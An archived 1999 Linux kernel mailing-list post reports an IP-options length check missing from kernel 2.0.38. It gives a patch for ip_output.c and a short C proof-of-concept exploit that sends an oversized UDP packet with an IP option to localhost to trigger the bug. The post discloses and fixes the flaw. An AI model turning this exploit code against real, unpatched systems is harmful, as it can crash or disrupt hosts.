[patch] Re: Big problem on 2.0.x?

From: Andrea Arcangeli (andreaat_private)
Date: Tue Dec 14 1999 - 14:17:07 PST

  • Next message: Andrea Arcangeli: "Re: Big problem on linux 2.0"

    On Mon, 13 Dec 1999, Jason Mills wrote:
    
    >heres a simple patch for the -s stuff just using the same method as with
    >-l :)
    
    Unfortunately fixing ping won't help because you can exploit it using UDP
    too :(. BTW, the ping in 6.2 forbid me to use a size of the packet >=
    65468 even as root. So I had to hack and recompile ping to reproduce.
    
    Actually the bug is that the IP layer is checking that the iphdr+payload
    is < 0xffff but it's _not_ checking that iphdr+optsize+payload is <
    0xffff. So as far as there are no additional ip options in the packets all
    is fine.
    
    This is my fix against 2.0.38:
    
    diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
    --- 2.0.38/net/ipv4/ip_output.c	Thu Jun 18 23:48:22 1998
    +++ 2.0.38-ping-R/net/ipv4/ip_output.c	Tue Dec 14 23:02:43 1999
    @@ -703,7 +703,13 @@
    
     	if (!sk->ip_hdrincl) {
     		length += sizeof(struct iphdr);
    -		if(opt) length += opt->optlen;
    +		if(opt)
    +		{
    +			/* make sure to not exceed the max packet size */
    +			if (0xffff-length < opt->optlen)
    +				return -EMSGSIZE;
    +			length += opt->optlen;
    +		}
     	}
    
     	if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr)
    
    Downloadable also from:
    
    	ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz
    
    And this is my exploit I wrote to check the fix:
    
    /* Exploit option length missing checks in Linux-2.0.38
       Andrea Arcangeli <andreaat_private> */
    
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <netinet/ip.h>
    
    main()
    {
    	int sk;
    	struct sockaddr_in sin;
    	struct hostent * hostent;
    #define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr))
    #define OPT_SIZE 1
    	char payload[PAYLOAD_SIZE];
    
    	sk = socket(AF_INET, SOCK_DGRAM, 0);
    	if (sk < 0)
    		perror("socket"), exit(1);
    
    	if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
    		perror("setsockopt"), exit(1);
    
    	bzero((char *)&sin, sizeof(sin));
    
    	sin.sin_port = htons(0);
    	sin.sin_family = AF_INET;
    	sin.sin_addr.s_addr = htonl(2130706433);
    
    	if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
    		perror("connect"), exit(1);
    
    	if (write(sk, payload, PAYLOAD_SIZE) < 0)
    		perror("write"), exit(1);
    }
    
    Andrea
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:21:02 PDT